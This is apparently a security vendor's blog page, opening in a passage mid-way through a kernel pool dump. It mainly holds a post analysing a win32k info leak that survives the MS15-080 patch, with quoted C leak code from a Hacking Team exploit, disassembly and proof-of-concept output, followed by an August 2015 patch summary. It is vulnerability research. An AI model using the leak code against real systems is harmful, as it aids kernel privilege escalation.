previous size: 40 (Allocated) DCvi Process: ffffe000ffbf9080 fffff901423bdac0 size: 40 previous size: c0 (Allocated) Usdm fffff901423bdb00 size: c0 previous size: 40 (Allocated) DCvi Process: ffffe000ffbf9080 fffff901423bdbc0 size: 40 previous size: c0 (Allocated) Usdm fffff901423bdc00 size: c0 previous size: 40 (Allocated) DCvi Process: ffffe000ffbf9080 fffff901423bdcc0 size: 40 previous size: c0 (Allocated) Usdm fffff901423bdd00 size: c0 previous size: 40 (Allocated) DCvi Process: ffffe000ffbf9080 fffff901423bddc0 size: 40 previous size: c0 (Allocated) Usdm fffff901423bde00 size: c0 previous size: 40 (Allocated) DCvi Process: ffffe000ffbf9080 fffff901423bdec0 size: 40 previous size: c0 (Allocated) Usdm fffff901423bdf00 size: c0 previous size: 40 (Allocated) DCvi Process: ffffe000ffbf9080 fffff901423bdfc0 size: 40 previous size: c0 (Allocated) Usdm kd> !pool fffff901423bd800 Pool page fffff901423bd800 region is Unknown fffff901423bd000 size: c0 previous size: 0 (Allocated) DCvi Process: ffffe000ffbf9080 fffff901423bd0c0 size: 40 previous size: c0 (Allocated) Usdm fffff901423bd100 size: c0 previous size: 40 (Allocated) DCvi Process: ffffe000ffbf9080 fffff901423bd1c0 size: 40 previous size: c0 (Allocated) Usdm fffff901423bd200 size: c0 previous size: 40 (Allocated) DCvi Process: ffffe000ffbf9080 fffff901423bd2c0 size: 40 previous size: c0 (Allocated) Usdm fffff901423bd300 size: c0 previous size: 40 (Allocated) DCvi Process: ffffe000ffbf9080 fffff901423bd3c0 size: 40 previous size: c0 (Allocated) Usdm fffff901423bd400 size: c0 previous size: 40 (Allocated) DCvi Process: ffffe000ffbf9080 fffff901423bd4c0 size: 40 previous size: c0 (Allocated) Usdm fffff901423bd500 size: c0 previous size: 40 (Allocated) DCvi Process: ffffe000ffbf9080 fffff901423bd5c0 size: 40 previous size: c0 (Allocated) Usdm fffff901423bd600 size: c0 previous size: 40 (Allocated) DCvi Process: ffffe000ffbf9080 fffff901423bd6c0 size: 40 previous size: c0 (Allocated) Usdm fffff901423bd700 size: c0 previous size: 40 (Allocated) DCvi Process: ffffe000ffbf9080 fffff901423bd7c0 size: 40 previous size: c0 (Allocated) Usdm *fffff901423bd800 size: c0 previous size: 40 (Allocated) *DCvi Process: ffffe000ffbf9080 Pooltag DCvi : DCOMPOSITIONTAG_VISUALMARSHALER, Binary : win32k!DirectComposition::CVisu fffff901423bd8c0 size: 40 previous size: c0 (Allocated) Usdm fffff901423bd900 size: c0 previous size: 40 (Allocated) DCvi Process: ffffe000ffbf9080 fffff901423bd9c0 size: 40 previous size: c0 (Allocated) Usdm fffff901423bda00 size: c0 previous size: 40 (Allocated) DCvi Process: ffffe000ffbf9080 fffff901423bdac0 size: 40 previous size: c0 (Allocated) Usdm fffff901423bdb00 size: c0 previous size: 40 (Allocated) DCvi Process: ffffe000ffbf9080 fffff901423bdbc0 size: 40 previous size: c0 (Allocated) Usdm fffff901423bdc00 size: c0 previous size: 40 (Allocated) DCvi Process: ffffe000ffbf9080 fffff901423bdcc0 size: 40 previous size: c0 (Allocated) Usdm fffff901423bdd00 size: c0 previous size: 40 (Allocated) DCvi Process: ffffe000ffbf9080 fffff901423bddc0 size: 40 previous size: c0 (Allocated) Usdm fffff901423bde00 size: c0 previous size: 40 (Allocated) DCvi Process: ffffe000ffbf9080 fffff901423bdec0 size: 40 previous size: c0 (Allocated) Usdm fffff901423bdf00 size: c0 previous size: 40 (Allocated) DCvi Process: ffffe000ffbf9080 fffff901423bdfc0 size: 40 previous size: c0 (Allocated) Usdm And that's all! I really hope the blog post helps you understand the pool massage technique used by this exploit a little better. Of course, if you feel there are any errors in my analysis, feel free to comment details below

Revisiting an Info Leak

Today an interesting tweet from Greg Linares (who has been posting awesome analysis on twitter lately!) came to our attention, concerning the MS15-080 patch: This patch (included in MS15-080) may have been intended stop one of the Window kernel bugs exploited by Hacking Team. But,…

Today an interesting tweet from Greg Linares (who has been posting awesome analysis on twitter lately!) came to our attention, concerning the MS15-080 patch: This patch (included in MS15-080) may have been intended stop one of the Window kernel bugs exploited by Hacking Team. But, after our analysis, it appears that there is still an information leak vulnerability present after the patch is applied. Since the patch is related to win32k!NtGdiGetTextMetricsW, we suspected it could be for the initial info leak exploited in vlad902/hacking-team-windows-kernel-lpe · GitHub: // Leak the base address of `win32k.sys`. This infoleak is slightly different from // the standalone infoleak because we need to handle the position-independent nature // of this exploit. ULONGLONG win32k_infoleak() { // Declaring functions that we want to use (see FunctionSignatures.h). FuncCreateCompatibleDC MyCreateCompatibleDC; FuncDeleteDC MyDeleteDC; ULONGLONG win32k_base_addr = 0; HDC hdc; // Get function addresses. MyCreateCompatibleDC = (FuncCreateCompatibleDC)GetProcAddressWithHash(0xA5314068); MyDeleteDC = (FuncDeleteDC)GetProcAddressWithHash(0x63B566A2); hdc = MyCreateCompatibleDC(NULL); if (hdc == NULL) { return NULL; } // Leak the address and retrieve it from `buffer`. MyGetTextMetricsW(hdc, INFOLEAK_BUFFER); DWORD hi = *(DWORD *)(INFOLEAK_BUFFER + 0x38 + 4); // High DWORD of leaked address DWORD lo = *(DWORD *)(INFOLEAK_BUFFER + 0x38); // Low DWORD of leaked address // Check: High DWORD should be a kernel-mode address (i.e. // 0xffff0800`00000000). We make the check stricter by checking for a // subset of kernel-mode addresses. if ((hi & 0xfffff000) != 0xfffff000) { return NULL; } // Retrieve the address of `win32k!RGNOBJ::UpdateUserRgn+0x70` using // the following computation. win32k_base_addr = ((ULONGLONG)hi << 32) | lo; // Adjust for offset to get base address of `win32k.sys`. win32k_base_addr -= 0x0003cf00; // Check: Base address of `win32k.sys` should be of the form // 0xFFFFFxxx`00xxx000. if ((win32k_base_addr & 0xff000fff) != 0) { return NULL; } MyDeleteDC(hdc); return win32k_base_addr; } The important line to retrieve the win32k.sys address is: // Leak the address and retrieve it from `buffer`. MyGetTextMetricsW(hdc, INFOLEAK_BUFFER); This will invoke the NtGdiGetTextMetricsW syscall, whose purpose, according to the msdn documentation, is to fill "the specified buffer with the metrics for the currently selected font.". Filling a buffer with metrics coming from the kernel definitely sounds interesting . Here is the prototype for the user space API: BOOL GetTextMetrics( _In_ HDC hdc, _Out_ LPTEXTMETRIC lptm ); And here is the syscall prototype, according to ReactOS: W32KAPI BOOL APIENTRY NtGdiGetTextMetricsW(IN HDC hDC, OUT TMW_INTERNAL * pUnsafeTmwi, IN ULONG cj) Where: hDC: is a handle to a device context (this matches with the user space signature). pUnsafeTmwi: according to the userspace API, should be a pointer to a TEXTMETRICSW structure, but according to the syscall definition by ReactOS the kernel should receive a TMW_INTERNAL pointer. By the way this is the destination in user space where the metrics will be stored. cj: is the size of the destination user space buffer pUnsafeTmwi (destination buffer). The first thing that calls our attention is the third parameter. Can we provide an arbitrary length to copy? No, we can not get more than 0x44 bytes, according to the next NtGdiGetTextMetricsW check: .text:FFFFF97FFF00754A cmp r8d, 44h .text:FFFFF97FFF00754E jb loc_FFFFF97FFF .text:FFFFF97FFF0075DF loc_FFFFF97FFF0075DF: .text:FFFFF97FFF0075DF mov eax, edx .text:FFFFF97FFF0075E1 add rsp, 70h .text:FFFFF97FFF0075E5 pop rbx .text:FFFFF97FFF0075E6 retn Next, we are interested in the second argument, specially the differences between the user space definition and the kernel prototype (at least in the prototype used by ReactOS). According to the TEXTMETRICW definition, 0x44 bytes is too much data to copy, since the structure size only has 0x39 bytes of valid data (even with the padding bytes inserted by the C compiler). typedef struct tagTEXTMETRICW { LONG tmHeight; LONG tmAscent; LONG tmDescent; LONG tmInternalLeading; LONG tmExternalLeading; LONG tmAveCharWidth; LONG tmMaxCharWidth; LONG tmWeight; LONG tmOverhang; LONG tmDigitizedAspectX; LONG tmDigitizedAspectY; WCHAR tmFirstChar; WCHAR tmLastChar; WCHAR tmDefaultChar; WCHAR tmBreakChar; BYTE tmItalic; BYTE tmUnderlined; BYTE tmStruckOut; BYTE tmPitchAndFamily; BYTE tmCharSet; } TEXTMETRICW, *PTEXTMETRICW, NEAR *NPTEXTMETRICW, FAR *LPTEXTMETRICW; Reviewing the NtGdiGetTextMetricsW assembly code before the patch, it copies the contents of the TEXTMETRICW to a kernel local variable on the stack, with the help of GrGetTextMetricsW: .text:FFFFF97FFF007554 lea rdx, [rsp+78h+var_58] ; rdx comes from the stack .text:FFFFF97FFF007559 call GreGetTextMetricsW It will then copy 0x44 bytes from this kernel space memory to the user space buffer sent with the syscall: .text:FFFFF97FFF00758D loc_FFFFF97FFF00758D: .text:FFFFF97FFF00758D mov rax, [rsp+78h+var_58] .text:FFFFF97FFF007592 mov [rbx], rax .text:FFFFF97FFF007595 mov rax, [rsp+78h+var_50] .text:FFFFF97FFF00759A mov [rbx+8], rax .text:FFFFF97FFF00759E mov rax, [rsp+78h+var_48] .text:FFFFF97FFF0075A3 mov [rbx+10h], rax .text:FFFFF97FFF0075A7 mov rax, [rsp+78h+var_40] .text:FFFFF97FFF0075AC mov [rbx+18h], rax .text:FFFFF97FFF0075B0 mov rax, [rsp+78h+var_38] .text:FFFFF97FFF0075B5 mov [rbx+20h], rax .text:FFFFF97FFF0075B9 mov rax, [rsp+78h+var_30] .text:FFFFF97FFF0075BE mov [rbx+28h], rax .text:FFFFF97FFF0075C2 mov rax, [rsp+78h+var_28] .text:FFFFF97FFF0075C7 mov [rbx+30h], rax .text:FFFFF97FFF0075CB mov rax, [rsp+78h+var_20] .text:FFFFF97FFF0075D0 mov [rbx+38h], rax .text:FFFFF97FFF0075D4 mov eax, [rsp+78h+var_18] .text:FFFFF97FFF0075D8 mov [rbx+40h], eax Checking the patch spotted by Greg Linares, it is initializing the kernel local variable used by win32k!NtGdiGetTextMetricsW to hold the copy of the TEXTMETRICW contents: .text:FFFFF97FFF007540 xor edx, edx ; Val .text:FFFFF97FFF007542 cmp r8d, 44h .text:FFFFF97FFF007546 jb loc_FFFFF97FFF0075E8 .text:FFFFF97FFF00754C lea r8d, [rdx+44h] ; Size .text:FFFFF97FFF007550 lea rcx, [rsp+78h+Dst] ; Dst .text:FFFFF97FFF007555 call memset Unfortunately, the problem isn't only NtGdiGetTextMetricsW not initializing the local variable. It is also copying to user space more data than the 1TEXTMETRICW contents. If you keep tracing the code that fills the kernel local variable, you will reach win32k!bGetTextMetrics. There, 0x44 bytes are again copied from kernel dynamic memory to the local kernel buffer (pointed by r8): .text:FFFFF97FFF013BC5 mov r10, [r9+2B8h] .text:FFFFF97FFF013BCC test r10, r10 .text:FFFFF97FFF013BCF jz loc_FFFFF97FFF013C5B .text:FFFFF97FFF013BD5 mov rax, [r10] .text:FFFFF97FFF013BD8 mov r9d, 0FFh .text:FFFFF97FFF013BDE mov [r8], rax .text:FFFFF97FFF013BE1 mov rax, [r10+8] .text:FFFFF97FFF013BE5 mov [r8+8], rax .text:FFFFF97FFF013BE9 mov rax, [r10+10h] .text:FFFFF97FFF013BED mov [r8+10h], rax .text:FFFFF97FFF013BF1 mov rax, [r10+18h] .text:FFFFF97FFF013BF5 mov [r8+18h], rax .text:FFFFF97FFF013BF9 mov rax, [r10+20h] .text:FFFFF97FFF013BFD mov [r8+20h], rax .text:FFFFF97FFF013C01 mov rax, [r10+28h] .text:FFFFF97FFF013C05 mov [r8+28h], rax .text:FFFFF97FFF013C09 mov rax, [r10+30h] .text:FFFFF97FFF013C0D mov [r8+30h], rax .text:FFFFF97FFF013C11 mov rax, [r10+38h] .text:FFFFF97FFF013C15 mov [r8+38h], rax .text:FFFFF97FFF013C19 mov eax, [r10+40h] .text:FFFFF97FFF013C1D mov [r8+40h], eax Checking the ReactOS code, we see that TEXTMETRICW is part of a longer structure, named TMW_INTERNAL on ReactOS: /* Font Structures */ typedef struct _TMDIFF { ULONG cjotma; CHAR chFirst; CHAR chLast; CHAR ChDefault; CHAR ChBreak; } TMDIFF, *PTMDIFF; typedef struct _TMW_INTERNAL { TEXTMETRICW TextMetric; TMDIFF Diff; } TMW_INTERNAL, *PTMW_INTERNAL; My bet is that the win32k.sys pointer is being leaked from the data belonging to the TMW_INTERNAL structure, which wraps an TEXTMETRICW structure. Indeed, if you take into account the TMW_INTERNAL structure, the 0x44 length (with padding) makes sense As a final note, ReactOS's method of filling the TMW_INTERNAL structure improves upon the MS15-080 patch and better closes the info leak. The strategy is: Initialize (zero) the local variable, as MS15-080 already does. When copying the data to the kernel local variable, the kernel should zero the TMDIFF space, since only the TEXTMETRICW data should reach user space later. It is what ReactOS does. if (NT_SUCCESS(Status)) { FillTM(&ptmwi->TextMetric, FontGDI, pOS2, pHori, !Error ? &Win : 0); /* FIXME: Fill Diff member */ RtlZeroMemory(&ptmwi->Diff, sizeof(ptmwi->Diff)); }    3. Additionally, the TEXTMETRICW padding should be zero'd also before copying the data to user space. I have published a simple proof-of-concept for playing with this info leak here: jvazquez-r7/ht_win32k_info_leak · GitHub. This is the result of executing it on a machine with MS15-080 applied: c:\InfoLeak\x64\Release>InfoLeak.exe DeleteDC [*] It looks like a kernel address, check if it's in the win32k.sys range [*] Leak: fffff960001ba900 kd> lm m win32k start end module name fffff960`0017d000 fffff960`00593000 win32k (deferred)

Update Tuesday, August 2015

This month's update includes 14 Microsoft security bulletins (52 CVEs), with three being rated as critical. One of these vulnerabilities has already affected MS office (MS15-081) and has been detected as being exploited in the wild. As per the norm, Adobe has also released a…

This month's update includes 14 Microsoft security bulletins (52 CVEs), with three being rated as critical. One of these vulnerabilities has already affected MS office (MS15-081) and has been detected as being exploited in the wild. As per the norm, Adobe has also released a high priority Air\Flash security patch (APSB15-19) to address 34 CVEs on multiple affected platforms (IE, Edge, Windows, Macintosh, Android and iOS).Microsoft seems to have implemented a new strategy for Windows 10, as they are now releasing a single KB specific to the platform that addresses all applicable bulletins (in this case 6 of the 14). For administrators this allows a single patch to be installed for addressing all security issues – greatly reducing the burden of patch implementation. We see this is a very positive step forward for Microsoft and will be interested to see what, if any, additional changes the make to the patch process moving forward. MS15-079: resolves 13 CVEs on all supported versions (7-11) of Internet Explorer (likely to be exploited in the near future).MS15-080: resolves 16 CVEs in Microsoft Windows, Microsoft .NET Framework, Microsoft Office, Microsoft Lync, and Microsoft Silverlight.MS15-081: resolves 8 CVEs in Microsoft Office (2007 – 2016) on both Windows and Mac and SharePoint servers (2010, 2013).MS15-082: resolves 2 CVEs in nearly all supported platforms (Windows 10 being the only exception) that could allow remote code execution via the remote desktop protocol (RDP) functionality. This bulletin is rated “Important” as it is not believed that exploitation is occurring in the wild. CVE-2015-2472 requires a man-in-the-middle (MiTM) attack to exploit (decreasing the likelihood of a successful attack) and CVE-2015-2473 requires user interaction to exploit.MS15-083: resolves 1 CVE in Vista SP2 and Server 2008 SP2 systems that support SMB and requires authentication credentials (a valid session).MS15-084: resolves 3 CVEs in nearly all supported platforms (Windows 10 being the only exception). The vulnerability impacts systems supporting SSLv2 with MSXML and the “fix” is simply to use a secure communication protocol.MS15-085: resolves 1 CVE on all Windows platforms, exploitation in the wild has been detected however to exploit this vulnerability, an attacker would have insert a malicious USB device into a target system. The physical access requirements of this exploit make mass exploitation far less likely (remind your users to not plug in randomly found USB devices).MS15-086: resolves 1 CVE in System Center Operations Manager (SCOM) 2012, the cross-site scripting (XSS) vulnerability requires user interaction with a maliciously crafted URL. Exploitation of this vulnerability is not likely.MS15-087: resolves 1 CVE in Windows 2008 and Microsoft BizTalk Server (2010 -2013 R2), he cross-site scripting (XSS) vulnerability requires user interaction with a maliciously crafted URL. Exploitation of this vulnerability is not likely.MS15-088: resolves 1 CVE on all Windows platforms, exploitation of this information disclosure vulnerability has not yet been detected in the wild however exploitation in the near future is likely (requires the chaining of multiple IE vulnerabilities for exploitation).MS15-089: resolves 1 CVE in nearly all supported platforms (Windows 10 being the only exception) that could allow WebDAV SSLv2 sessions to be partially decrypted. Exploitation is unlikely to occur.MS15-090: resolves 3 CVEs in nearly all supported platforms (Windows 10 being the only exception) that could allow an elevation of privilege due to a vulnerability in the sandboxing functionality of the Windows Object Manager or Windows Registry or Windows Filesystem.MS15-091: resolves 4 CVEs in Edge on Windows 10 (that's a first since RTM) that could allow remote code execution (RCE), exploitation of these vulnerabilities requires a user to visit a maliciously crafted webpage. Exploitation of this vulnerability in the near future is rated as likely.MS15-092: resolves 3 CVEs on all Windows platforms running .NET 4.6 (likely only Windows 10 systems at this point in time). The exploitation of elevation of privilege vulnerability in the RyuJIT compiler would grant the same permissions as the running user.Welcome to the Windows 10 era, administrators enjoy patching yet another platform.

Featured Research

National Exposure Index 2017

The National Exposure Index is an exploration of data derived from Project Sonar, Rapid7's security research project that gains insights into global exposure to common vulnerabilities through internet-wide surveys.

Learn More

Toolkit

Make Your SIEM Project a Success with Rapid7

In this toolkit, get access to Gartner's report “Overcoming Common Causes for SIEM Solution Deployment Failures,” which details why organizations are struggling to unify their data and find answers from it. Also get the Rapid7 companion guide with helpful recommendations on approaching your SIEM needs.

Download Now

Podcast

Security Nation

Security Nation is a podcast dedicated to covering all things infosec – from what's making headlines to practical tips for organizations looking to improve their own security programs. Host Kyle Flaherty has been knee–deep in the security sector for nearly two decades. At Rapid7 he leads a solutions-focused team with the mission of helping security professionals do their jobs.

Listen Now